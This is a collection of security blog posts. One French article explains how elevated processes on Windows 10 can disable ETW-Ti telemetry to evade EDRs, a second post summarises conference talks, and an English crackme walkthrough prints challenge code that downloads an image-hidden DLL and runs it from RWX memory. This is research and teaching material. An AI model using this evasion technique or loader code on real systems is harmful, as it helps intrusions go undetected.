Rappel sur les capacités de surveillance des EDR

Méthodes basées sur l’espace utilisateur vs. l’espace noyau

Sous Windows, les logiciels EDR utilisent principalement deux catégories de techniques pour surveiller les actions effectuées par les processus : les mécanismes côté espace utilisateur (« userland », ou « userspace »), tel que le hooking de fonctions, qui ciblent chaque processus individuellement, et ceux côté noyau (« kernel land », « kernel space »), qui s’appuient sur les fonctions fournies par le système d’exploitation pour collecter des données de télémétrie sur l’activité des processus à l’échelle du système.

Les techniques de la première catégorie peuvent souvent être techniquement contournées par un processus malveillant, à condition qu’il connaisse les moyens exacts employés par l’EDR. En effet, le code de surveillance et le code surveillé s’exécutent souvent dans le même « espace », la mémoire du processus, ce qui revient à un jeu du chat et de la souris entre le logiciel malveillant et l’EDR, étant donné que chacun peut interagir ou modifier le code de la « partie adverse ».

Pour la deuxième catégorie, le code de surveillance s’exécute dans l’espace du noyau Windows, qui n’est directement accessible par aucun processus, quel que soit son niveau de privilège. Cependant, ces capacités de surveillance sont fournies par Windows lui-même aux produits de sécurité installés, et tous les logiciels EDR sont obligés de les utiliser de manière presque identique pour obtenir une télémétrie des activités des processus (la manière de détecter une activité malveillante à partir de ces informations dépend évidemment de chaque logiciel EDR).

Pour approfondir le sujet, ces deux types de mécanismes ont notamment été décrits dans notre article de la 116^ème édition du magazine MISC. Aussi, pour mieux comprendre les enjeux de ce qui suit dans le présent article, nous recommandons aux lecteurs de consulter notre autre article sur les contournements de surveillance EDR dans la 118^ème édition du magazine MISC, ainsi que le README de notre outil, EDRSandblast.

Event Tracing for Windows – Threat Intelligence

Parmi les mécanismes susmentionnés, Event Tracing for Windows – Threat Intelligence (abrégé en ETW-Ti dans cet article) permet de générer des événements lors d’opérations du noyau critiques pour la sécurité, telles que la création de processus, la lecture/écriture de mémoire entre processus, la création de mémoire exécutable, etc. (voir notre article dans MISC 116 pour plus de détails).

Le flux d’événements produit par le mécanisme n’est normalement « consommable » que par les produits de sécurité, qui doivent être des processus protégés (PROTECTED_ANTIMALWARE_LIGHT), signés cryptographiquement comme tels par Microsoft.

La création de ces événements de sécurité est gérée par le noyau Windows et est mise en œuvre par de simples appels à des fonctions EtwTi* dédiées, intégrées à chaque fonction du noyau présentant un intérêt. L’image suivante montre l’appel à EtwTiLogReadWriteVm à l’intérieur de la fonction MiReadWriteVirtualMemory, cette dernière étant responsable des lectures et écritures de mémoire entre les processus.

Nos constats

Une exception bien commode

En examinant le graphique du flot de contrôle de la fonction ci-dessus, nous constatons que l’appel à la fonction de journalisation de l’ETW-Ti est toujours effectué lors d’un appel réussi à MiReadWriteVirtualMemory, à moins que PsIsProcessLoggingEnabled ne renvoie la valeur FALSE.

Cette dernière fonction, qui n’est mentionnée nulle part dans la littérature consacrée au reverse engineering de Windows, permet d’effectuer les opérations suivantes (note : les commentaires, les noms et les types de variables ont été obtenus par reverse engineering et/ou déduits des symboles de débogage publics) :

Figure 2: Code source de PsIsProcessLoggingEnabled obtenu par reverse-engineering

Comme nous pouvons le voir, la fonction vérifie l’état d’un flag parmi EnableReadVmLogging, EnableWriteVmLogging, EnableThreadSuspendResumeLogging et EnableProcessSuspendResumeLogging, indiquant si l’action en cours (parmi une lecture de mémoire interprocessus, une écriture de mémoire, une suspension/reprise de thread ou une suspension/reprise de processus, respectivement) doit être effectivement enregistrée par ETW-Ti. Ces flags se trouvent dans différents bitfields de la structure _EPROCESS du processus ciblé.

Accès aux flags de journalisation

En recoupant l’utilisation des flags susmentionnés dans le noyau, nous avons constaté que les fonctions NtQueryInformationProcess et NtSetInformationProcess étaient utilisés pour obtenir ou définir les bits spécifiques correspondant à ces flags de journalisation (logging).

Bien que la plupart du temps non documentées, ces fonctions ont été examinées de près par les reverse-engineers s’intéressant aux mécanismes internes de Windows (et par les développeurs de logiciels malveillants) depuis longtemps, car elles gèrent les appels système éponymes accessibles à partir de l’espace utilisateur. Le projet System Informer (anciennement connu sous le nom de Process Hacker) abrite une base de données impressionnante de prototypes de fonctions, de structures et d’enums liés aux mécanismes internes de Windows.

Le prototype de la fonction NtSetInformationProcess est le suivant :

Figure 3: Prototype de la fonction NtSetInformationProcess

Cette fonction gère une centaine de cas d’utilisation, selon la valeur du paramètre ProcessInformationClass. La fonction est implémentée à l’aide d’une énorme instruction switch, et le code spécifique concernant les flags de journalisation est situé dans les cases ProcessEnableReadWriteVmLogging et ProcessEnableLogging (constantes non documentées, nommées ainsi par les développeurs de System Informer).

Figure 4: Code source de NtSetInformationProcess obtenu par reverse-engineering

Le comportement du code ci-dessus peut être réduit aux points suivants :

• La cohérence de l’argument ProcessInformationLength est vérifiée par rapport à la structure ProcessInformation attendue (c’est-à-dire que les flags sont stockés dans un BYTE ou dans un DWORD, voir les structures attendues pour ProcessEnableReadWriteVmLogging et ProcessEnableLogging) ;
• Les privilèges du processus sont vérifiés : l’appel n’est accepté que si au moins l’un des privilèges SeDebugPrivilege ou SeTcbPrivilege est détenu par le processus appelant ;
• L’objet noyau (_EPROCESS) du processus cible est récupéré, tout en vérifiant que son handle possède bien le droit d’accès PROCESS_SET_LIMITED_INFORMATION ;
• Différents flags (provenant des champs Flags2 et Flags3 de la structure _EPROCESS) sont mis à jour, sur la base de la structure ProcessInformation

Les flags qui peuvent être mis à jour par cette méthode sont les suivants :

• EnableProcessSuspendResumeLogging (ou EnableThreadSuspendResumeLogging) : détermine si un événement ETW-Ti est généré lors de la suspension ou de la reprise d’un processus (ou d’un thread). Ces opérations sont utilisées dans les techniques de process hollowing, par exemple ;
• EnableReadVmLogging : détermine si un événement ETW-Ti est généré lors de la lecture de la mémoire d’un processus par un autre. Ces opérations sont généralement utilisées dans les techniques de dump de processus (LSASS, notamment) ;
• EnableWriteVmLogging : idem, pour les écritures en mémoire entre processus. Ces opérations sont utilisées dans la plupart des techniques d’injection de processus.

Du point de vue offensif

En résumé, si le mécanisme ETW-Ti ne peut pas être désactivé globalement sur le système depuis l’espace utilisateur (c’est-à-dire par un processus), certaines de ses fonctionnalités peuvent être désactivées par un processus disposant du privilège SeDebugPrivilege ou SeTcbPrivilege, ce qui peut être le cas de n’importe quel processus élevé.

Comme indiqué précédemment, le flux d’événements de l’ETW-Ti n’est normalement accessible qu’aux produits de sécurité tels que les EDR. Cependant, dans la fonction ci-dessus, nous voyons que n’importe quel processus non protégé peut désactiver certaines fonctions de journalisation d’un autre processus sans prouver au système qu’il est un consommateur légitime du flux ETW-Ti (ex. un EDR).

Il est important de noter que les EDR mettent souvent en corrélation plusieurs événements pour créer des alertes, afin de ne pas générer de résultats faussement positifs. Par exemple, un dump du processus LSASS est souvent divisé en plusieurs étapes :

• L’ouverture d’un handle au processus exe ayant un accès PROCESS_VM_READ ;
• La lecture effective de toutes les plages de mémoire concernées ;
• La création d’un fichier minidump.

Si seul l’événement de création d’un handle existe, mais que les événements de lecture ne sont pas enregistrés par ETW-Ti et que le fichier minidump est chiffré ou n’a jamais été écrit sur le disque, l’EDR peut ne pas émettre d’alertes concernant le dump du processus LSASS, faute de preuves.

Versions de Windows affectées

Différences entre Windows 10 et Windows 11

La même analyse a été effectuée sur le code NtSetInformationProcess du noyau de Windows 11.

Figure 5: Code source de NtSetInformationProcess obtenu par reverse-engineering sous Windows 11

Le code présente deux différences principales. La première, et la plus importante : le niveau de protection du processus appelant NtSetInformationProcess est vérifié comme étant « dominant » par rapport au niveau ANTIMALWARE_LIGHT, à l’aide de l’appel à EtwCheckSecurityLoggerAccess. Pour information, on dit qu’un niveau de protection en domine un autre si les deux affirmations suivantes sont vraies :

• Le type de protection (Protected, Protected light ou non protégé) est identique ou plus fort que l’autre niveau de protection (Protected est « plus fort » que Protected light, qui est évidemment plus fort que non protégé).
• Le signataire (signer) domine celui de l’autre niveau de protection, selon des règles codées en dur dans le noyau Windows (analysées de la structure RtlProtectedAccess). Le graphique suivant décrit ces règles :

Figure 6: « Domination » des processus protégés entre les différents signataires

Cela signifie que seul un processus protected ou protected light dont le signataire est WinSystem, WinTcb, Windows ou Antimalware (c’est-à-dire un composant système ou un produit de sécurité signé cryptographiquement par Microsoft en tant que tel) est autorisé à utiliser l’API NtSetInformationProcess pour désactiver les fonctions de journalisation ETW-Ti sous Windows 11. Il s’agit d’une amélioration importante, car elle établit une frontière cohérente entre les produits et fonctions de sécurité d’une part, et les autres processus d’autre part.

La deuxième différence entre les implémentations de NtSetInformationProcess sous Windows 10 et Windows 11 est que de nouveaux flags de journalisation ETW-Ti semblent être modifiables avec l’API : EnableProcessLocalExecProtectVmLogging et EnableProcessRemoteExecProtectVmLogging, apparemment utilisés pour activer/désactiver la surveillance des opérations rendant la mémoire exécutable.

À titre d’information, cette fonctionnalité semble toutefois être boguée ou n’est pas encore complètement implémentée, puisque dans le code présenté plus haut, les bits correspondant ne sont pas mis à zéro par l’opération AND bit-à-bit (InterlockedAnd), les fonctionnalités correspondantes ne peuvent donc pas être désactivées à l’aide de cette API.

Périmètre exact des versions affectées

L’analyse de diverses versions du noyau dans différentes versions de Windows a montré que la première version disponible de Windows 11 (21H2, version 10.0.22000.194) met déjà en œuvre le contrôle de sécurité effectué par EtwCheckSecurityLoggerAccess décrit plus haut.

En revanche, dans la dernière version disponible de Windows 10 au moment de la rédaction (22H2, version 10.0.19041.3393), la vérification de sécurité est toujours absente, alors que cette version est plus récente de 2 ans. Cela indique selon toute vraisemblance que Microsoft est bien conscient du problème et ne corrige pas la faiblesse volontairement, probablement pour des raisons de rétrocompatibilité.

Les différents flags de journalisation et leur traitement associé par NtSetInformationProcess sont apparus progressivement au cours de la vie du produit Windows 10. Le tableau suivant résume les versions concernées :

: La fonction de journalisation ETWTi n’existe pas encore
: La journalisation ETWTi peut être désactivée
: La journalisation ETWTi ne peut pas être désactivée

Le mot de la fin

En conclusion, le mécanisme décrit dans cet article permet de fait à un programme malveillant s’exécutant avec des privilèges élevés et souhaitant effectuer des actions néfastes (injection de processus, dump LSASS, process hollowing, etc.) de désactiver soigneusement la télémétrie associée avant de le faire, supprimant ainsi des preuves critiques de la surveillance EDR, ce qui améliore grandement ses chances de ne pas être détecté.

De nombreux éléments montrent que Microsoft est conscient de la faiblesse, mais ne modifie pas le comportement de l’API rétroactivement sur Windows 10, probablement en raison de problèmes de rétro-compatibilité.

Cet article Un bypass EDR universel découvert dans Windows 10  est apparu en premier sur RiskInsight.

(Thomas est absent sur cette photo car il a déjà quitté DEFCON pour participer au SANS DFIR Summit à Houston, Texas).

Dans cet article, nous partageons les supports & code utilisés pour nos conférences, ateliers et démonstrations d’outils.

CI/CD security

Les pipelines CI/CD font de plus en plus partie de l’infrastructure standard des équipes de développement. Avec la montée en puissance de nouvelles approches telles que l’Infrastructure as Code, le niveau de sensibilité de ces pipelines augmente rapidement. En cas de compromission, ce ne sont plus seulement les applications qui sont en danger mais les systèmes sous-jacents eux-mêmes et bien souvent l’ensemble du système d’information.

Nous pensons que ces infrastructures, bien qu’elles ne soient pas ciblées par les attaquants pour le moment, deviendront un point de mire privilégié pour les attaquants dans les années à venir. À la fois en raison des informations d’identification manipulées par les pipelines et du manque habituel de surveillance de ces environnements.

Lors du Hacking Summer Camp, nous avons expliqué comment les attaquants commencent à exploiter ces faiblesses à la fois pour des attaques de chaînes d’approvisionnement mais aussi pour élever leurs privilèges au sein du SI victime. Nous avons commencé par une présentation au BSides Las Vegas qui illustrait un chemin d’attaque que nous avions déjà exploité en opération réelle. Ensuite, nous avons organisé deux workshops, aux BSides Las Vegas et à la DEFCON, pour permettre aux participants d’exploiter ces attaques dans un laboratoire grandeur nature.

Les slides et les ressources techniques seront bientôt publiées sur notre GitHub (https://github.com/wavestone-cdt/DEFCON-CICD-pipelines-workshop).

Le replay de la conférence à Bsides Las Vegas est disponible sur YouTube : https://youtu.be/a3SeASgtINY.

Par Rémi ESCOURROU (@remiescourrou), Gauthier SEBAUX (@zeronounours) et Xavier GERONDEAU (@reivaxxavier1).

Systèmes de contrôle industriel

Cette année, nous avons animé deux workshops sur la cybersécurité des SI industriels à la DEFCON :

Une version actualisée de notre très populaire atelier « Pentesting ICS 101 »:

Nous avons abordé les bases du SI industriel et partagé un retour d’expérience sur l’état de la cybersécurité de ces environnements. Ensuite, à l’aide de machines virtuelles préconfigurées, nous avons appris à échanger des données avec des automates. Ces connaissances ont ensuite été mises en pratique sur du matériel réel avec notre maquette de train :

Un tout nouvel atelier sur la sécurité du code PLC

Nous avons également commencé par une introduction aux ICS, puis nous nous sommes plongés dans la programmation d’un automate logiciel et avons montré comment l’application des pratiques du PLC TOP20 peut prévenir les attaques et/ou aider à les détecter.

Pour ce faire, nous avons également créé une simulation de processus très simplifiée qui se connecte au simulateur de PLC, que nous publions également. Cette simulation pourrait être utilisée et adaptée pour la sensibilisation et la formation aux SCI.

Les slides sont disponible ici : GitHub – wavestone-cdt/plc-code-security: Experiments with the Top 20 Secure PLC Coding Practices

Vous pouvez trouver notre simulation de processus ici : https://github.com/arnaudsoullie/simple-process-simulation

DEFCON30 demo lab: EDRSandblast

Nous avons partagé une version nouvelle et améliorée d’EDRSandblast lors des sessions Demo Lab à DEFCON 30. Ce fut l’occasion de présenter et de détailler les mécanismes de détection employés par les EDRs (user-land hooking, kernel callbacks, ETW Threat Intelligence provider …), de montrer comment les contourner, ainsi que de présenter les nouvelles fonctionnalités de notre outil. La liste des mises à jour est la suivante : un nouveau mécanisme de détection est reconnu et contourné par l’outil, plusieurs pilotes vulnérables sont désormais pris en charge, EDRSandblast peut désormais être inclus en tant que bibliothèque dans un projet tiers, et bien plus encore !

Vous pouvez trouver la liste complète des mises à jour, ainsi que la présentation sur GitHub : https://github.com/wavestone-cdt/EDRSandblast/blob/DefCon30Release/DEFCON30-DemoLabs-EDR_detection_mechanisms_and_bypass_techniques_with_EDRSandblast-v1.0.pdf

Par Maxime MEIGNAN (@th3m4ks) et Thomas DIOT (@_Qazeer).

SANS DFIR Summit 2022

Dans cette présentation, nous avons donné un bref aperçu de la procédure de récupération d’une forêt AD et nous nous sommes concentrés sur les différents moyens de persistance utilisés par les attaquants sur Active Directory, certains bien connus, d’autres moins. Certaines fonctionnalités de la nouvelle boîte à outils PowerShell de FarsightAD ont également été présentées, comme la détection d’objets entièrement ou partiellement cachés à l’aide du protocole Directory Replication Service.

Vous pouvez trouver les slides et l’outil FarsightAD ici : https://github.com/Qazeer/FarsightAD

Par Thomas DIOT (@_Qazeer).

Bonne lecture, bon tests, Hack the Planet

Cet article L’été cybersécurité de Wavestone est apparu en premier sur RiskInsight.

This document describes the solving step of the challenge.

Lightweight analysis of “mb_crackme_2.exe”

Output of Exeinfo PE

Looking for printable strings in the binary already gives us some hints about the executable’s nature:

$ strings -n 10 mb_crackme_2.exe_
[...]
pyi-windows-manifest-filename
[...]
Py_IgnoreEnvironmentFlag
Failed to get address for Py_IgnoreEnvironmentFlag
Py_NoSiteFlag
Failed to get address for Py_NoSiteFlag
Py_NoUserSiteDirectory
[...]
mpyimod01_os_path
mpyimod02_archive
mpyimod03_importers
spyiboot01_bootstrap
spyi_rth__tkinter
bCrypto.Cipher._AES.pyd
bCrypto.Hash._SHA256.pyd
bCrypto.Random.OSRNG.winrandom.pyd
bCrypto.Util._counter.pyd
bMicrosoft.VC90.CRT.manifest
bPIL._imaging.pyd
bPIL._imagingtk.pyd
[...]
opyi-windows-manifest-filename another.exe.manifest
[...]
zout00-PYZ.pyz
python27.dll

Many references to Python libraries, PYZ archives and “pyi” substring indicates the use of the PyInstaller utility to build a PE executable from a Python script.

Basic dynamic information gathering

Running the executable (in a sandboxed environment) gives us the following message:

Using Process Monitor, from SysInternals Tools Suite , allows us to quickly get a glimpse of the actions performed by the executable:

A temporary directory named “_MEI5282” is created under user’s “%temp%” directory, and filled with Python-related resources. In particular, “python27.dll” and “*.pyd” libraries are written and later loaded by the executable.

This behavior is typical of executables generated by PyInstaller.

Error-handling analysis

Without tools, it is often possible to quickly get information about a binary’s internals by testing its error handling. For example, inserting an EOF (End-Of-File) signal in the terminal (“Ctrl+Z + Return” on Windows Command Prompt) makes the program crash, printing the following information:

Python stack trace printed after a crash

This allows us to identify the presence of a Python program embedded inside the executable and gives us the name of the main script: another.py. The error message “[$PID] Failed to execute script $scriptName” is typical of PyInstaller-produced programs.

Python files extraction and decompilation

Every lightweight analysis presented previously points out that the executable has been built using PyInstaller.
The PyInstaller Extractor  program can be used to extract python-compiled resources from the executable.

$ python pyinstxtractor.py mb_crackme_2.exe
[*] Processing mb_crackme_2.exe
[*] Pyinstaller version: 2.1+
[*] Python version: 27
[*] Length of package: 8531014 bytes
[*] Found 931 files in CArchive
[*] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap
[+] Possible entry point: pyi_rth__tkinter
[+] Possible entry point: another
[*] Found 440 files in PYZ archive
[*] Successfully extracted pyinstaller archive: mb_crackme_2.exe

You can now use a python decompiler on the pyc files within the extracted directory

 

As previously seen, the most interesting file is “another”, as it should contain the “main” function.

Files extracted by PyInstaller Extractor

 

A quick Internet search  informs us that in a PYZ archive, the main file is in fact a *.pyc file (Python bytecode) from which the first 8 bytes, containing its signature, have been removed. Looking the hex dump of another *.pyc file of the archive confirms this statement and gives us the correct signature for Python 2.7 bytecode files (in purple).

$ hexdump -C another | head -n 3
00000000  63 00 00 00 00 00 00 00  00 03 00 00 00 40 00 00  |c............@..|
00000010  00 73 03 02 00 00 64 00  00 5a 00 00 64 01 00 5a  |.s....d..Z..d..Z|
00000020  01 00 64 02 00 5a 02 00  64 03 00 64 04 00 6c 03  |..d..Z..d..d..l.|
$ hexdump -C out00-PYZ.pyz_extracted/cmd.pyc | head -n 3
00000000  03 f3 0d 0a 00 00 00 00  63 00 00 00 00 00 00 00  |.ó......c.......|
00000010  00 03 00 00 00 40 00 00  00 73 4c 00 00 00 64 00  |.....@...sL...d.|
00000020  00 5a 00 00 64 01 00 64  02 00 6c 01 00 5a 01 00  |.Z..d..d..l..Z..|

Restoring the file’s signature produces a correct Python bytecode file.

$ cat <(printf "\x03\xf3\x0d\x0a\x00\x00\x00\x00") another > another.pyc
$ file another.pyc
another.pyc: python 2.7 byte-compiled

Using the uncompyle6  decompilation tool, we can easily recover the original source code of another.py.

$ uncompyle6 another.pyc > another.py

Stage 1: login

Looking at the main() function of another.py, we see that the first operations are performed by the stage1_login() function.

def main():
    key = stage1_login()
    if not check_if_next(key):
        return
    else:
        content = decode_and_fetch_url(key)
        if content is None:
            print 'Could not fetch the content'
            return -1
        decdata = get_encoded_data(content)
        if not is_valid_payl(decdata):
            return -3
        print colorama.Style.BRIGHT + colorama.Fore.CYAN
        print 'Level #2: Find the secret console...'
        print colorama.Style.RESET_ALL
        #load_level2(decdata, len(decdata))
        dump_shellcode(decdata, len(decdata))
        user32_dll.MessageBoxA(None, 'You did it, level up!', 'Congrats!', 0)
        try:
            if decode_pasted() == True:
                user32_dll.MessageBoxA(None, '''Congratulations! Now save your flag
and send it to Malwarebytes!''', 'You solved it!', 0)
                return 0
            user32_dll.MessageBoxA(None, 'See you later!', 'Game over', 0)
        except:
            print 'Error decoding the flag'
        return

def stage1_login():
    show_banner()
    print colorama.Style.BRIGHT + colorama.Fore.CYAN
    print 'Level #1: log in to the system!'
    print colorama.Style.RESET_ALL
    login = raw_input('login: ')
    password = getpass.getpass()
    if not (check_login(login) and check_password(password)):
        print 'Login failed. Wrong combination username/password'
        return None
    else:
        PIN = raw_input('PIN: ')
        try:
            key = get_url_key(int(PIN))
        except:
            print 'Login failed. The PIN is incorrect'
            return None
        if not check_key(key):
            print 'Login failed. The PIN is incorrect'
            return None
        return key

Three user inputs are successively checked: the user’s login, password and PIN code.

Finding the login

The check_login() function’s code is completely transparent :

def check_login(login):
    if login == 'hackerman':
        return True
    return False

We have found the login, let’s search for the password.

Expected login

Finding the password

The check_password() function hashes user’s input using the MD5 hash function, and compares the result with an hardcoded string:

def check_password(password):
    my_md5 = hashlib.md5(password).hexdigest()
    if my_md5 == '42f749ade7f9e195bf475f37a44cafcb':
        return True
    return False

A quick Internet search of this string gives us the corresponding cleartext password: Password123.

Finding the PIN code

The PIN code is read from standard input, converted into an integer (cf. stage1_login() function), and passed to the get_url_key() function:

def get_url_key(my_seed):
    random.seed(my_seed)
    key = ‘’
    for I in xrange(0, 32):
        id = random.randint(0, 9)
        key += str(id)
    return key

This function derives a pseudo-random 32 digits key from the PIN code, using it as a seed for Python’s PRNG. The generated key is then verified using the check_key() function, where its MD5 sum is checked against another hardcoded value.

def check_key(key):
    my_md5 = hashlib.md5(key).hexdigest()
    if my_md5 == 'fb4b322c518e9f6a52af906e32aee955':
        return True
    return False

The key space is obviously too large to be brute-forced, as a 32-digits string corresponds to 10^32 (~2^106) possible combinations. However, we can brute-force the PIN code, being an integer, using the following code:

from another import get_url_key, check_key
PIN = 0
while True:
    key = get_url_key(PIN)
    if check_key(key):
        print PIN
        break
    PIN += 1

The solution is obtained in a few milliseconds:

$ python bruteforcePIN.py
9667

Testing credentials

Using the credentials found in the previous step completes the first stage of the challenge.

Clicking “Yes” makes the executable pause after printing the following message in the console:

Let’s find that secret console!

Stage 2: the secret console

Payload download and decoding

Continuing our analysis of the main() function, the next function to be called after credentials verification is decode_and_fetch_url(), with the previously calculated 32-digits key given as argument:

def decode_and_fetch_url(key):
    try:
        encrypted_url = '\xa6\xfa\x8fO\xba\x7f\x9d\[...]\xfe'
        aes = AESCipher(bytearray(key))
        output = aes.decrypt(encrypted_url)
        full_url = output
        content = fetch_url(full_url)
    except:
        return None
    return content

A URL is decrypted using an AES cipher and the 32-digits key. The resource at this URL is then downloaded and its content returned by the function.
To get the decrypted URL, we simply add some logging instructions to the original code of another.py, which can be run independently of mb_crackme_2.exe (given that the required dependencies are present on our machine).

[...]
        full_url = output
        print "DEBUG : URL fetched is : %s " % full_url #added from original code
        content = fetch_url(full_url)
[...]

The result execution is the following:

login: hackerman
Password:
PIN: 9667
DEBUG : URL fetched is : https://i.imgur.com/dTHXed7.png

The decrypted URL hosts the PNG image displayed bellow:

The “malware” then reads the Red, Green and Blue components of each of the image’s pixels, interprets them as bytes and constructs a buffer from their concatenation.

def get_encoded_data(bytes):
    imo = Image.open(io.BytesIO(bytes))
    rawdata = list(imo.getdata())
    tsdata = ''
    for x in rawdata:
        for z in x:
            tsdata += chr(z)
    del rawdata
    return tsdata

This technique is sometimes used by real malware to download malicious code without raising suspicion of traffic-analysis tools, hiding the real nature of the downloaded resource.
Using the “Extract data…” function of the Stegsolve tool  allows to quickly preview the data encoded in the image, which appears to be a PE file (and more specifically, a DLL):

The function is_valid_payl() is then used to check whether the decoded payload is correct:

def is_valid_payl(content):
    if get_word(content) != 23117:
        return False
    next_offset = get_dword(content[60:])
    next_hdr = content[next_offset:]
    if get_dword(next_hdr) != 17744:
        return False
    return True

The 23117 and 17744 constants represent the “MZ” and “PE” magic bytes present in the headers of a PE.

>>> import struct
>>> struct.pack("<H", 23117)
'MZ'
>>> struct.pack("<H", 17744)
'PE'

The decoded file is then passed to the load_level2() function, which is a wrapper around prepare_stage().

def load_level2(rawbytes, bytesread):
    try:
        if prepare_stage(rawbytes, bytesread):
            return True
    except:
        return False

def prepare_stage(content, content_size):
    virtual_buf = kernel_dll.VirtualAlloc(0, content_size, 12288, 64)
    if virtual_buf == 0:
        return False
    res = memmove(virtual_buf, content, content_size)
    if res == 0:
        return False
    MR = WINFUNCTYPE(c_uint)(virtual_buf + 2)
    MR()
    return True

This function starts by allocating enough space to store the downloaded code, using the VirtualAlloc API function call. The allocated space is readable, writable and executable, as the provided arguments reveal (12288 being equal to “MEM_COMMIT | MEM_RESERVE”, and 64 to PAGE_EXECUTE_READWRITE).
The downloaded code is then written in the allocated space using the memmove function, and executed like a shellcode from offset 2.

To get a clean dump of the downloaded code (once decrypted), we add a piece of code in the prepare_stage() function, as follows:

def prepare_stage(content, content_size):
    with open("dumped_pe.dll", "wb") as f:
        f.write(content[:content_size])
        print "DEBUG : File dumped in dumped_pe.dll"
    virtual_buf = kernel_dll.VirtualAlloc(0, content_size, 12288, 64)
    if virtual_buf == 0:
        return False
    res = memmove(virtual_buf, content, content_size)
    if res == 0:
        return False
    MR = WINFUNCTYPE(c_uint)(virtual_buf + 2)
    MR()
    return True

After re-executing the program, we observe that the obtained file is indeed a valid 32 bits Windows DLL:

$ file dumped_pe.dll
dumped_file.ext: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Time for us to open our favorite disassembler !

Downloaded DLL’s reverse-engineering

Reflective loading
From the offset 2 of the file, a little shellcode located in the DOS headers transfers the execution to another code that implements Reflective DLL injection. This technique is used to load the library itself from memory, instead of normally loading the DLL from disk using the LoadLibrary API call.
 

The reflective loader’s code, located at 0x6E0, is documented in Stephen Fewer’s GitHub  and will not be described in this write-up. Since, in the end, the library is loaded by this mechanism as it would be after a normal LoadLibrary call, this downloaded file will be analyzed like a standard DLL in the rest of this write-up.

The list of exported functions being empty (except for the DllEntryPoint function), we start our analysis at the entry point of the DLL.

Entry point
Our first goal is to search for the DllMain() function from the entry point. If the reverser is not used to analyzing Windows DLLs, a simple way to start would be to open any random non-stripped 32bit DLL, which (with a little luck) would be compiled with the same compiler (Visual C++ ~7.10 here), and which would have a similar CFG structure for the DllEntryPoint function.
An example of CFG comparisons between the analyzed DLL (left) and another non-stripped 32bit DLL (right) is presented below:
 

This technique allows us to quickly find the DllMain function in our DLL, here being located at 0x10001170.
DllMain (0x10001170)
The function starts by checking if it has been called during the first load of the DLL by a process, by comparing the value of the fdwReason argument  against the DLL_PROCESS_ATTACH constant.
The DllMain() function then registers two exception handlers using the AddVectoredExceptionHandler  API call. The handlers are named “Handler_0” and “Handler_1” in the screenshot below:

An exception is then manually raised using the “int 3” interruption instruction, triggering the execution of Handler_0.
Interlude: debugging a DLL in IDA Pro
To make the reverse-engineering of some functions easier, debugging the code to observe function inputs and outputs can be an effective method.
One simple way to debug a DLL inside IDA is to load the file as usual, then go to “Debugger ->Process options…” and modify the following value:

• Application:
  •  On a 64 bits version of Windows:
    •   “C:\Windows\SysWOW64\rundll32.exe” to debug a 32 bits library
    •   “C:\Windows\System32\rundll32.exe” to debug a 64 bits library
  •  On a 32 bits version of Windows:
    •   “C:\Windows\System32\rundll32.exe” to debug a 32 bits library
    •   Obviously, you cannot run (therefore debug) a 64 bits library on a 32 bits version of Windows
•  Parameters:
  •   “PATH_OF_YOUR_DLL”,functionToCall [function parameters if any]

Note: The file extension must be “*.dll” for rundll32.exe to accept it.

To test the configuration, just place a breakpoint at the entry point of the DLL:

Run your debugger (F9). If configured correctly, your debugger should break at the DLL entry point, allowing you to debug any DLL function

Handler_0 (0x10001260)
Looking at Handler_0’s CFG (given below), we see that the function calls two unknown functions (0x100092C0 and 0x1000E61D). To quickly identify these functions, let’s debug the DLL, and look at the functions inputs/outputs:

sub_100092C0

The function seems to take 3 arguments:

• A buffer (here named “Value”);
• A value (here 0);
• The size of the buffer (here 0x104).

Let’s look at the buffer’s content before and after the function call:

The function prototype and its side effects correspond to the memset function.

sub_1000E61D

The function seems to take 4 arguments:

• An integer (here the PID of the process);
• A buffer (here named “Value”);
• The size of the buffer (here 0x104);
• A value (here 0xA, or 10).

Looking at the provided buffer’s content after the function call, we see that the representation in base 10 of the first integer passed in parameter is written in the provided buffer.

The function prototype and its side effects correspond to the _itoa_s function .

Handler_0 whole CFG and pseudo-code
Here is the graph of the Handler_0 function:

This corresponds to the following pseudo code:

if isloaded(“python.dll”):
   pid = getpid()
else:
   pid = 0
setEnvironmentVariable(“mb_chall”, str(pid))
return EXCEPTION_CONTINUE_SEARCH

The function checks the presence of the python27.dll library (normally loaded by the main program mb_crackme_2.exe) in the process address space, and sets the “mb_chall” environment variable consequently.
This may be seen as an “anti-debug” trick, because running the DLL independently in a debugger makes the execution follow a different path.

Handler_1 (0x100011D0)
The code of this handler is quite self-explanatory, being similar to the previous handler’s code:

Once again, this corresponds to the following pseudo code:

if getpid() == int(getenv(“mb_chall”):
   tmp = 6
else:
   tmp = 1
exceptionInfo->Context._Eip += tmp
return EXCEPTION_CONTINUE_EXECUTION

After this handler, execution restarts at the address of original interruption (“int 3”) +1 or +6 (as presented in the pseudo-code above), whether performed checks pass or not.

We thus continue the analysis at the not_fail function (0x100010D0).

not_fail (0x100010D0)
The function only starts a thread and waits for it to terminate.

The created thread executes the MainThread (0x10001110) function, where our analysis continues.

MainThread (0x10001110)
The function loops and calls the EnumWindows  API every second, which in turn calls the provided callback function (EnumWindowsCallback) on every window present on the desktop.

EnumWindowsCallback function (0x10005750)
The function, called on each window, uses the SendMessageA  API with the WM_GETTEXT message to retrieve the window’s title.

After being converted to C++ std::string, the substrings “Notepad” and “secret_console” are searched in the window’s title.

If both substrings are present, the window’s title is replaced by the hardcoded string “Secret Console is waiting for the commands…”, using the SendMessageA API along with the WM_SETTEXT message. The window is placed to the foreground, using the ShowWindow API call.

Modification of the window’s title using SendMessageA()

The PID of the process corresponding to the window is then written in the “malware”’s console, and sub-windows of this window are enumerated, using the EnumChildWindows  API.The function EnumChildWindowsCallback (0x100034C0) is thus called on every sub-window.

EnumChildWindowsCallback function (0x100034C0)
This function gets the content of the sub-window using the SendMessageA API call:

The substring “dump_the_key” is then searched in the retrieved content:

If this string is found, this function calls a decryption routine decrypt_buffer() (0x100016F0) on a buffer (encrypted_buff), using the string “dump_the_key” as argument.

Then, the “malware” loads the actxprxy.dll library into the process memory space. The first 4096 bytes (i.e. the first memory page) of the library is made writable using the VirtualProtect API call, and the decrypted payload is written at this location.

Since the actxprxy.dll library is not used anywhere in the analyzed DLL after being re-written, it may be seen as a covert communication channel between the analyzed DLL and the main program mb_crackme_2.exe. After this, the function clears every allocated memory and exits. The created thread (see 4.2.6) therefore also exits, and the DllEntryPoint function call terminates, giving the control back to the main python script.

Triggering the secret console

